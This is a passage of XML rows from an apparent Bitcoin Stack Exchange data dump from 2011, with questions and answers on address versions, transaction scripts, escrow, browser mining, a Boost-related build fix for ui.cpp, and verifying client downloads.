  <row Id="546" PostTypeId="1" AcceptedAnswerId="552" CreationDate="2011-09-04T12:49:14.270" Score="13" ViewCount="1016" Body="&lt;p&gt;Bitcoin address versions are described on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;Address&lt;/a&gt; wiki page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Normal addresses currently always start with 1, though this might change in a future version. Testnet addresses usually start with m or n.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Addresses&quot;&gt;Protocol specification&lt;/a&gt; gives a bit more technical detail:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Version = 1 byte of 0 (zero); on the test network, this is 1 byte of 111&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Aside from distinguishing real and testnet addresses, what is the meaning and purpose of the address version? How and why will it change in future?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="132" LastEditDate="2011-09-12T08:48:32.247" LastActivityDate="2011-09-12T08:48:32.247" Title="What is the meaning of the Bitcoin address version?" Tags="|development|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="547" PostTypeId="1" AcceptedAnswerId="563" CreationDate="2011-09-04T13:41:23.530" Score="25" ViewCount="4333" Body="&lt;p&gt;The Bitcoin wiki describes a transaction's &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;script&lt;/a&gt; as something that describes &quot;how the next person wanting to spend the Bitcoins being transferred can gain access to them&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script for &quot;a typical Bitcoin transfer to destination Bitcoin address D&quot; is described as requiring of the future spender:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;a public key that, when hashed, yields destination address D embedded in the script, and&lt;/li&gt;&#xA;  &lt;li&gt;a signature to show evidence of the private key corresponding to the public key just provided.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What useful alternative scripts could be made? What practical situations would they serve, and what client features would be required to support them?&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2011-09-04T20:47:32.993" Title="Useful alternative Bitcoin transaction scripts" Tags="|transactions|script|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="548" PostTypeId="2" ParentId="530" CreationDate="2011-09-04T13:42:20.410" Score="3" Body="&lt;p&gt;The Bitcoin Miner extension is simply this &lt;a href=&quot;http://chrazyapps.com/?p=347&quot; rel=&quot;nofollow&quot;&gt;flash game&lt;/a&gt;. Rlweb's Bitcoin Generator does not seem to do anything at the moment.  As far as I understand from the description, this should be a client for the &lt;a href=&quot;http://www.bitp.it&quot; rel=&quot;nofollow&quot;&gt;bitp.it&lt;/a&gt; pool, but it just adds a button to chrome that shows some text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining with your browser is possible. There is an open source &lt;a href=&quot;https://github.com/jwhitehorn/jsMiner&quot; rel=&quot;nofollow&quot;&gt;javascript CPU miner&lt;/a&gt;, but it is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9042.0&quot; rel=&quot;nofollow&quot;&gt;no longer being developed&lt;/a&gt; because the difficulty is too high to mine with Javascript. Like Evil Spork said, other alternatives supporting WebCL and other browser plugins are coming up, but I don't know of any for Google Chrome.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-04T13:42:20.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="549" PostTypeId="2" ParentId="543" CreationDate="2011-09-04T13:43:35.307" Score="5" Body="&lt;p&gt;The time for when a block has been confirmed is the main issue that seems to arrise. The coffee shop problem (I want my coffee now but this may take 10 minutes to confirm payment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mobile reception issue could be resolved by allowing restricted open access with on-site wifi service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are third party services which may help this very effectively (www.flexcoin.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also SolidCoin offers 3 minute blocks and may be substantially more elegant if a third party service was chosen not to be used for small transactions.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-09-04T13:43:35.307" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="550" PostTypeId="1" AcceptedAnswerId="555" CreationDate="2011-09-04T13:49:41.630" Score="7" ViewCount="344" Body="&lt;p&gt;The wiki page on the transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;script&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The party who originally sent the Bitcoins now being spent, dictates the script operations that will occur last in order to release them for use in another transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does a recipient know they can spend the bitcoins they received? Would it be possible for a malicious user to create a script that the recipient could not use to spend the bitcoins, without them being aware of it? (Possibly due to a client UI limitation?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation I'm describing would probably be unusual, as it would involve the sender deliberately sacrificing (and destroying in the process) bitcoins purely to spite the another party. Even still, is it possible, and what measures (could) protect against it?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="15412" LastEditDate="2014-06-17T13:58:08.413" LastActivityDate="2014-06-17T13:58:08.413" Title="How does a recipient know they can satisfy the transaction script to spend their bitcoins?" Tags="|transactions|script|destroy-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="551" PostTypeId="2" ParentId="541" CreationDate="2011-09-04T13:54:13.727" Score="1" Body="&lt;p&gt;There was a thread on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2038.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt; about creating a specification to encode additional data (besides the address) in QR codes. This would work with a key/value pair and it could be used for a lot of things. Here is an example for merchant/buyer interaction:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Merchant request for direct payment via bitcoin network.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;btcpayment-request1: name=“My Bitcoin Inc.”; pubkey=1LGpwDU5djqsR1X14Tcass3y9fULTzxJq3; amount=300&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using this QR-code, the mobile phone knows enough to ask the user if&#xA;  they wish to pay 300 BTC to My Bitcoin, Inc. at the given bitcoin&#xA;  address.  Presumably the mobile phone has the ability to make bitcoin&#xA;  payments, either directly (a lightweight bitcoin client) or indirectly&#xA;  via a payment API such as this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-04T13:54:13.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="552" PostTypeId="2" ParentId="546" CreationDate="2011-09-04T14:35:32.117" Score="6" Body="&lt;p&gt;Last time I &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=20110707194007.GA27416%40ulyssis.org&amp;amp;forum_name=bitcoin-development&quot;&gt;heard of it&lt;/a&gt;, the future of version bytes was still unsettled.&#xA;Currently, they are used to force incompatibilities between several base58-encoded data structures:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;addresses / private keys&lt;/li&gt;&#xA;&lt;li&gt;testnet / realnet&lt;/li&gt;&#xA;&lt;li&gt;alternative-chains variants (namecoin etc…)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way, you cannot misuse one for the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someday, it might also be used as a real version number (the current SHA-256 + RIPEMD-160 + base58-encoding for keys could become obsolete).&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2011-09-04T15:11:27.110" LastActivityDate="2011-09-04T15:11:27.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="553" PostTypeId="1" AcceptedAnswerId="554" CreationDate="2011-09-04T14:46:21.473" Score="24" ViewCount="4469" Body="&lt;p&gt;Bitcoin protocol supports scripts. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do they work?&lt;/li&gt;&#xA;&lt;li&gt;How are those implemented?&lt;/li&gt;&#xA;&lt;li&gt;What are their intended usages? &lt;/li&gt;&#xA;&lt;li&gt;When are they planned to be used?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastActivityDate="2021-07-22T05:30:25.433" Title="How do Scripts work?" Tags="|script|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="554" PostTypeId="2" ParentId="553" CreationDate="2011-09-04T17:00:55.703" Score="35" Body="&lt;p&gt;Scripts are one of Bitcoin's more clever features. The most obvious way to implement a crypto-currency is to make a transfer be to a public key. To claim the transfer, you sign with the corresponding private key. This is not the way Bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you send Bitcoins (the &lt;em&gt;out&lt;/em&gt; of a transaction), you send them to a script. When you claim Bitcoins (the &lt;em&gt;in&lt;/em&gt;) of a transaction) you claim them with a script. To determine if a transaction input correctly claims a transaction output, the two scripts are combined and the result is executed. If the result is &lt;em&gt;true&lt;/em&gt;, then the input claims the output. The scripting language is stack-based and roughly similar to Forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction input (the script trying to claim the Bitcoins) runs first. It will typically put a public key and a signature onto the stack. Then the output (the script whose Bitcoins are being claimed) runs. It will typically confirm that the public key is the correct one and that the signature signs the transaction with the corresponding private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you get the same effect as if you just specified a public key and signature, but you have the option of specifying more complex scripts. Unfortunately, this kind of simple script is pretty much the only kind of script supported right now. The original developer(s) imagined much more interesting scripts including things like contracts, multi-party signatures, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M of N signatures are planned. This way, you could list, say 3 public keys such that any 2 of them could claim the Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, some of the scripting components are feared to have security risks, so many of them are disabled currently.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-04T17:47:44.863" LastActivityDate="2011-09-04T17:47:44.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="555" PostTypeId="2" ParentId="550" CreationDate="2011-09-04T17:02:58.913" Score="7" Body="&lt;p&gt;I don't think your threat model makes sense. If you &quot;send me Bitcoins I can't claim&quot;, you've done the equivalent of nothing at all, except you've wasted some of your own Bitcoins in the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, clients will only recognize Bitcoins as being sent to them if they can confirm they can claim them. Non-standard transactions (those with scripts other than the two well-understood forms) are ignored.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-04T17:02:58.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="556" PostTypeId="2" ParentId="545" CreationDate="2011-09-04T17:44:18.487" Score="5" Body="&lt;p&gt;I think the most obvious way, though perhaps not the best way, is precisely the same way as is done with other currencies. If Bitcoins are adopted as a primary currency, they'll probably be used the same way other primary currencies are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am paid in dollars, but no actual dollars transfer unless that is absolutely required. Instead, I have a bank account denominated in dollars from which I can withdraw actual dollars any time I need. These same mechanisms could be implemented with Bitcoins. I could have an account denominated in Bitcoins, I could be paid in Bitcoins, I could pay bills in Bitcoins, but no actual Bitcoins need change hands except where the benefits of doing things that way outweigh the costs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-04T17:44:18.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="557" PostTypeId="1" CreationDate="2011-09-04T17:59:22.987" Score="10" ViewCount="2369" Body="&lt;p&gt;AFAIK there are a few websites out there that offer escrow services for Bitcoin. Those however are central, i.e. I have to &quot;trust&quot; them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it being discussed, is it theoretically possible, or does the blockchain technology already enable to implement a decentralized escrow service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, it is easy to imagine that an escrow holder could be nothing more than a &quot;virtual&quot; party or a &quot;bot&quot;, with its own wallet or private keys, that two negotiating parties could cast into existence. After the transaction has completed (or cancelled), the software would release (or revoke) the entrusted value to the respective party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: If two parties cannot come to agreement, I can think of these solutions for now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;ol&gt;&#xA;&lt;li&gt;There could be a form of escrow option that will be chosen where at least one party is public facing and reputational, e.g. a (online) shop, that will be trusted by the other party not to deceive.&lt;/li&gt;&#xA;&lt;li&gt;Two more &quot;ordinarily&quot; trading parties would choose an escrow option where the funds will never be released in the case of conflict at first. If they disclosed identity to each other, a court hearing could then be invoked which should usually come to a resolution, and the losing party will be enforced by law to provide value. Should Bitcoin never be accepted as negotiable matter by traditional jurisdiction, an alternative, equivalent infrastructure is thinkable, but let's leave that to another question for now.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=33615.msg421527#msg421527&quot;&gt;This proposal&lt;/a&gt; by user &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=5776&quot;&gt;Meni Rosenfeld&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How about this. There is a box in which there are two types of coins,&#xA;  &quot;deposit&quot; and &quot;payment&quot;. Both parties have permission to open the box.&#xA;  When the box is opened, the deposits go to whoever put them, and the&#xA;  payment goes to the party other than the one who opened it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So first the buyer and seller both put a small deposit in the box.&#xA;  This is safe since they can get it back. Then the buyer puts the&#xA;  entire sum of the payment in the box. Now:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;If the seller sends the goods, the buyer will open the box and the&#xA;  seller will receive the funds. He is incentivized not to be lazy or&#xA;  spiteful because he wants his deposit back.&lt;/li&gt;&#xA;  &lt;li&gt;If the seller for any reason wants to back out of the deal, he can&#xA;  open the box and have the payment return to the buyer, and is&#xA;  incentivized to do so because he wants his deposit back.&lt;/li&gt;&#xA;  &lt;li&gt;If the seller goes with the &quot;reimbursement&quot; plot, the buyer knows&#xA;  he is scamming (since the seller should have just opened the box) and&#xA;  ignore the request. (There is a potential weakness in that the buyer&#xA;  can &quot;defect&quot; and open the box anyway, to get the deposit. This may be&#xA;  alleviated by having the buyer's deposit smaller than the seller's,&#xA;  giving him more bargaining power).&lt;/li&gt;&#xA;  &lt;li&gt;A fraudulent seller is not incentivized to try this on N people&#xA;  until it succeeds, since every failure costs him his deposit. Hence,&#xA;  scenario 3 in which the money is burned should very rarely happen.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;In any case this isn't supposed to be bullet-proof, just a significant&#xA;  extra protection for sellers who already pass the sniff-test.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Additionally, the box can specify a charity address, agreed upon by&#xA;  both parties, to which the buyer has permission to send all funds,&#xA;  deposits and payment. So in the worst case the money will go to&#xA;  charity.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I'm not sure about the technical implementation details but all this&#xA;  should be very doable.&lt;/li&gt;&#xA;  &lt;/ol&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2011-09-04T20:06:35.667" LastActivityDate="2021-11-01T04:50:16.957" Title="Decentralized escrow functionality built into Bitcoin?" Tags="|blockchain|escrow|decentralization|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="558" PostTypeId="2" ParentId="557" CreationDate="2011-09-04T18:20:53.093" Score="4" Body="&lt;p&gt;I don't think it's possible in principle. The escrow service is one that is inherently authorized to make a decision as to who ultimately gets the funds. In a decentralized escrow service, who or what would make that decision?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I place some coins in escrow as part of a transaction to you, something must decide whether those funds ultimately go to me or you. Obviously, that decision can't be made by me or you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard proposals where the coins are &quot;burned&quot; (lost forever) if both parties don't agree on who should ultimately get them. I think that's a pretty useless service as it allows one party to blackmail the other. &quot;Release the coins to me and I'll give half of them back to you. Otherwise, they're lost forever.&quot;&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-04T18:20:53.093" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="559" PostTypeId="2" ParentId="557" CreationDate="2011-09-04T18:21:06.380" Score="2" Body="&lt;p&gt;It may be possible to write escrow functionality into Bitcoin through the use of one or more &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/553/how-do-scripts-work&quot;&gt;scripts&lt;/a&gt; which I believe is how Namecoin implemented its DNS-like features on top of simply forking the block chain. Unfortunately the scripting abilities have been severely limited for security reasons. There is also discussion over whether this should be part of the main client at all or if it's better to be handled by third parties or perhaps additional plugins or applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to stay up to date on this potential feature, there is a discussion on &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/319&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; about a fork by groffer which is still awaiting approval and could potentially be pulled into the main client. Groffer's mod allows for multi-signature Bitcoin transactions, which essentially means that coins can be placed under the control of multiple accounts at once such that both accounts must agree to (sign) any outgoing transactions. In such a system one party cannot claim the funds without the approval of the other party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;I also believe that groffer's mod allows for more complex multi-signed transactions such as &lt;code&gt;(a AND b) OR c&lt;/code&gt; type transactions where either the two involved parties (a and b) must both sign or a transaction to complete it or it may be completed by a chosen trusted third party (c).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-04T18:21:06.380" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="560" PostTypeId="1" AcceptedAnswerId="564" CreationDate="2011-09-04T18:36:23.340" Score="5" ViewCount="840" Body="&lt;p&gt;Building 0.4.0rc1 in Ububtu via make -f makefile.unix returns the following errors/warnings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ui.cpp: In member function 'virtual void CMainFrame::OnIconize(wxIconizeEvent&amp;amp;)':&#xA;ui.cpp:488:25 warning: 'bool wxIconizeEvent::Iconized() const' is deprecated (declared at /usr/local/include/wx-2.9/wx/event.h:2150)&#xA;ui.cpp:456:43 warning: 'bool wxIconizeEvent::Iconized() const' is deprecated (declared at /usr/local/include/wx-2.9/wx/event.h:2150)&#xA;ui.cpp: in function 'void SetStartOnSytstemStartup(bool)':&#xA;ui.cpp:1808:39: error: 'class boost::filesystem3::path' has no member named 'native_file_string'&#xA;make: *** [obj/ui.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I could fix this? I'm guessing it's an issue with my libraries...&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-04T21:04:17.897" Title="Why am I getting this make error w/ 0.4.0rc1 on Ubuntu" Tags="|ubuntu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="561" PostTypeId="2" ParentId="547" CreationDate="2011-09-04T18:39:19.763" Score="2" Body="&lt;p&gt;I believe that such scripts are the mechanism by which Namecoin added its DNS-like capabilities. There are also numerous other types of transactions in the works including multi-signature (M of N) transactions that would allow for a built-in escrow functionality as well as adding additional &quot;signers&quot; on an account (i.e. &quot;joint&quot; Bitcoin accounts).&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-04T18:39:19.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="562" PostTypeId="2" ParentId="560" CreationDate="2011-09-04T18:45:53.563" Score="0" Body="&lt;p&gt;Depending on your version, here are a few resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 10.04 there is a good guide &lt;a href=&quot;http://lickthesalt.com/2010/08/19/compiling-bitcoin-on-ubuntu-10-04-lucid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and an additional resource &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/416/how-do-i-build-bitcoin-from-source-in-linux&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 11.04 this question may be a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/522/how-to-build-bitcoin-from-source-on-ubuntu-11-04-natty-narwhal/533#533&quot;&gt;duplicate&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-09-04T18:45:53.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="563" PostTypeId="2" ParentId="547" CreationDate="2011-09-04T20:47:32.993" Score="26" Body="&lt;p&gt;If a full implementation of the scripting language were in place, then pretty much all of the following could be implemented. However, there are serious security concerns with some of these and they warrant further analysis before finding their way into the clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The referenced Scripts link in the original question contains several script examples covering the following use cases which are worth listing before getting to the more exotic cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;Standard generation/transaction to Bitcoin address&lt;/a&gt; - this is the typical situation everyone uses when sending/receiving bitcoins&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Generation_.2F_transaction_to_IP_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;Standard generation/transaction to IP address&lt;/a&gt; - a method of &lt;a href=&quot;https://en.bitcoin.it/wiki/IP_Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;automatically getting the recipient to generate a Bitcoin address so long as their IP is known&lt;/a&gt; (very dangerous due to man-in-the-middle attacks) &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Transaction_with_a_message&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transaction with a message&lt;/a&gt; - Add arbitrary text to a transactions (typically limited to around 10,000 bytes) which allows for ASCII art and other graffiti, perhaps even a steganographic exploit&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Hidden_recipient_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidden recipient address&lt;/a&gt; - allows the address of the recipient to be encrypted so that only a shared secret between them allows the bitcoins to be spent&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The further linked &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Contracts&lt;/a&gt; page on the wiki provides these additional use cases which are somewhat more complex:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Providing a refundable deposit&lt;/a&gt; - handy for proving that you're willing to spend money to ensure that you're reputable, with the option to get it back after a given time&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_2:_Escrow_and_dispute_mediation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Escrow and dispute mediation&lt;/a&gt; - permits several parties that don't trust each other to trade using their common trust of a given set of trusted third parties (this is the classic M of N signatures to release the funds contract)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_3:_Assurance_contracts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assurance contracts&lt;/a&gt; - essentially to allow pledges to be given for the greater good by competing parties (example is to pay for a lighthouse)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4:_Using_external_state&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using external state&lt;/a&gt; - Scripts can consult addresses that may be attached to &quot;oracle scripts&quot; which can perform transaction signing based on complex internal logic (example is to guarantee payment of an inheritance upon death or coming of age whichever is the sooner)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_5:_Trading_across_chains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Trading across chains&lt;/a&gt; - Allows other Bitcoin based currencies to trade against each other (thus potentially &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/256/what-would-a-country-adapting-bitcoins-as-official-currency-have-to-reinvent/276#276&quot;&gt;solving this problem&lt;/a&gt; for countries wishing to use Bitcoin)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Clearly there are many opportunities for exotic transaction types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Proof of knowledge - to prove that knowledge was acquired at a certain time a transaction could be created that references an oracle script that could provide verification. The oracle may not exist at the time of presentation, but it would be trivial to run the script and verify the outcome.&lt;/li&gt;&#xA;&lt;li&gt;Payment on successful prediction - another external state use case to allow an external oracle to sign a transaction based on pre-arranged transaction outcomes (examples include gambling, spread betting etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All in all, it shows that Bitcoin is a very effective financial trading instrument.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-09-04T20:47:32.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="564" PostTypeId="2" ParentId="560" CreationDate="2011-09-04T21:04:17.897" Score="6" Body="&lt;p&gt;The first two lines are just warnings that can be ignored. But the error is a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/456&quot; rel=&quot;nofollow&quot;&gt;known issue&lt;/a&gt; caused by Bitcoin's use of a deprecated API that was removed in your version of Boost. The &lt;a href=&quot;https://github.com/NyuSan/bitcoin/commit/90c29c7a8a0a67df3122879303ed5e9abe17948f&quot; rel=&quot;nofollow&quot;&gt;fix&lt;/a&gt; is to modify &lt;code&gt;src/ui.cpp&lt;/code&gt; around line 1809 as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {&#xA;     if (!fAutoStart)&#xA;     {&#xA;-        unlink(GetAutostartFilePath().native_file_string().c_str());&#xA;+        unlink(GetAutostartFilePath().c_str());&#xA;     }&#xA;     else&#xA;     {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Remove the line marked with a &lt;strong&gt;-&lt;/strong&gt; and replace it with the line marked with a &lt;strong&gt;+&lt;/strong&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-04T21:04:17.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="565" PostTypeId="1" AcceptedAnswerId="1020" CreationDate="2011-09-04T22:56:07.527" Score="29" ViewCount="3422" Body="&lt;p&gt;What is the correct procedure to download the official bitcoin client, and validate it was signed by the developers, and not infected with any malware by a man in the middle?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2017-02-24T05:43:27.960" Title="How can one download the bitcoin client securely?" Tags="|security|client|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="566" PostTypeId="1" AcceptedAnswerId="575" CreationDate="2011-09-04T22:59:13.980" Score="8" ViewCount="600" Body="&lt;p&gt;When running a fresh client, or after not being connected for a while, the client takes some time downloading new blocks. How can you find out what is the target block number (the id of the newest publicly available block)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-06-23T18:44:39.830" Title="How can you find out what is the latest block number?" Tags="|client|blockchain|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="567" PostTypeId="2" ParentId="565" CreationDate="2011-09-04T22:59:35.820" Score="-1" Body="&lt;p&gt;Generally if you want it really secure you go to the official source, download it, inspect the code, then compile it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise just check it versus the md5 hash or sha hash. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2011-09-04T22:59:35.820" CommentCount="10" CommunityOwnedDate="2011-09-04T23:17:06.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="568" PostTypeId="2" ParentId="566" CreationDate="2011-09-04T23:00:10.437" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;Block Explorer&lt;/a&gt; displays the latest block.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-04T23:00:10.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
